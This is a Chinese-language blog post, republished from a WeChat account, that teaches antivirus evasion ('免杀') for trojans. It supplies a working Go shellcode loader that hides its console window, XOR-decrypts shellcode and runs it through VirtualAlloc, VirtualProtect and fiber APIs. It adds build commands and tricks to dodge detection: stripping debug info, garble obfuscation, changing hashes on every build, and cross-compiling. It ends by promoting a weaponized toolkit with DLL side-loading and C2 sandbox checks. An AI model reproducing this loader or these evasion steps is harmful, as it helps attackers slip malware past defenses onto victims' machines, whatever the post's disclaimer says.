流程化免杀训练(一)

admin 2024年9月28日14:18:45评论18 views字数 3145阅读10分29秒阅读模式

简介

首先关注我的朋友都知道,我只会分享纯干货,包括那些容易让初学者理解的文章,关于技术原理,你可以在其他公众号和平台上找到很多相关的资料。那么,为什么我会写这篇文章呢?原因是我的后台私信中很多人都表达了学习的愿望,这激发了我写这篇文章的想法,会分为几篇。接下来的文章将不会过多解释原理,而是帮助大家更快地掌握免杀技术。

然而,我仍然建议大家要认真学习基础知识,因为这对于长远的学习和发展非常重要。你们能够点击进来阅读这篇文章已经说明了你们对这个领域的兴趣。在这个快节奏的社会中,让我们永远保持乐善好学的态度。

免责声明

由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任。切勿用于未授权测试!本文主要来自日常学习记录

第一篇

流程化免杀

在高强度的对抗下,这些免杀不太够用,但是国内的项目够用了,但是不能长用。

因为你仅仅需要的只是一个Loader。

免写代码

在不会不懂的情况下完全可以通过开源的项目进行编写木马。

在这里语言以C/Go为主

Github搜索会吧,关键词:Bypass Av 、免杀

这里我就以之前发的(期间因为一些乱事,导致这个项目没有后续),使用工具请务必遵守法律法规。

复制Loader

package main

import(
"golang.org/x/sys/windows"
"github.com/gonutz/ide/w32"
"unsafe"
)

var(
//加密Shellcode 这里是用了模版方法写入加密的字符串,现在我们以手工为例。
    sc  ="{{.Exshell}}"
)

// 隐藏console
funcguihide(commandShow uintptr){
    console := w32.GetConsoleWindow()
if console !=0{
        _, consoleProcID := w32.GetWindowThreadProcessId(console)
if w32.GetCurrentProcessId()== consoleProcID {
            w32.ShowWindowAsync(console, commandShow)
}
}
}

//go 的一个隐藏函数,往期文章有介绍
funcinit(){
//不用-h=windowsgui,使用win api隐藏窗口
    guihide(w32.SW_HIDE)

//可以找点反沙箱的代码贴进来
//.......
}

funcmain(){
//解密Shellcode
    shellcode :=Xorxor(sc)

//调用APi加载、上线
    kernel32 := windows.NewLazySystemDLL("kernel32.dll")
    ntdll := windows.NewLazySystemDLL("ntdll.dll")

RtlCopyMemory:= ntdll.NewProc("RtlCopyMemory")
ConvertThreadToFiber:= kernel32.NewProc("ConvertThreadToFiber")
CreateFiber:= kernel32.NewProc("CreateFiber")
SwitchToFiber:= kernel32.NewProc("SwitchToFiber")


    fiberAddr, _, _ :=ConvertThreadToFiber.Call()

    addr, _ :=windows.VirtualAlloc(0,uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)

RtlCopyMemory.Call(addr,(uintptr)(unsafe.Pointer(&shellcode[0])),uintptr(len(shellcode)))
var oldProtect uint32= windows.PAGE_READWRITE
    windows.VirtualProtect(addr,uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ,&oldProtect)

    fiber, _, _ :=CreateFiber.Call(0, addr,0)
SwitchToFiber.Call(fiber)
SwitchToFiber.Call(fiberAddr)

}

上面就是一个简单的Loader,很多项目都很完善,这里不过多操作

基于go编译效果的免杀

CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go build -trimpath main.go
流程化免杀训练(一)
image-20230824092932329
流程化免杀训练(一)
image-20230824092746502

可以看出效果还不错,不过多解释,自己去看杀毒得原理

到这里如果是虚拟机编译且不考虑其他,你已经可以去奔赴了,下面的可以不用看了(只是单纯想搞个免杀)

但是啊,我们看看特征

首先体积

流程化免杀训练(一)
image-20230824092502979

调试信息

流程化免杀训练(一)
image-20230824092557464

go包等等......

调试信息是可以解决的,例如:

流程化免杀训练(一)
image-20230824093138764
流程化免杀训练(一)
image-20230824093808409

这里会有一个问题,处理后的程序可能这样,问题出在PE,这个可以自行摸索,只是一个方法

流程化免杀训练(一)
image-20230824093836541

另外就是使用garble混淆,但效果不是很好

流程化免杀训练(一)
image-20230824103342937

另外记得每次编译确保Hash都不一样

流程化免杀训练(一)
image-20230824112137246

其次使用交叉编译例如mingw64

CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc  GOOS=windows GOARCH=amd64 go build --trimpath 1.go
流程化免杀训练(一)
image-20230824114253519

另外loader不必花太多时间,能解决实际需求就可以,所以很多大哥喜欢拿来就用。

流程化免杀训练(一)
image-20230824122254697

引入C包

利用CGO的特性免杀,_表示匿名占位符,当在导入包时使用 _,它表示导入包的副作用(例如初始 化)将被忽略,并且只是为了确保编译器执行相应的操作。

import"C"
import _ "runtime/cgo"

对比一下效果

流程化免杀训练(一)
image-20230824163737144

这些都只是其中一点点小技巧,如果你去github拉的项目编译就被杀,不妨试试如上方法。

题外话

这是最近在做的一个事情写武器化前端,学了几天的React,借鉴(抄袭)了遮天团队师傅的界面,完成了这个鬼样子,面是大概的功能,写完后,可能考虑放出来耍段时间。如果有师傅愿意加入帮忙做前端的工作,那真是太感谢了,也希望有志同道合的师傅可以一起参与!

免杀:

模版化免杀、预编译、Patch、沙箱、核晶权限维持等等

特殊白加黑:

之前分享的Dat、白加黑、特殊的多文件以及单文件、武器白加黑模式:如Fscan白加黑化、代理白加黑

捆绑,释放白加黑。

C2上线准入:

c2上线前置准入(原理:心跳不断的情况下判断主机是否沙箱、下发shellcode上线)

可能还有更多(......)

流程化免杀训练(一)
image-20230823203350713

原文始发于微信公众号(一颗好韭菜):流程化免杀训练(一)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日14:18:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   流程化免杀训练(一)https://cn-sec.com/archives/1978946.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息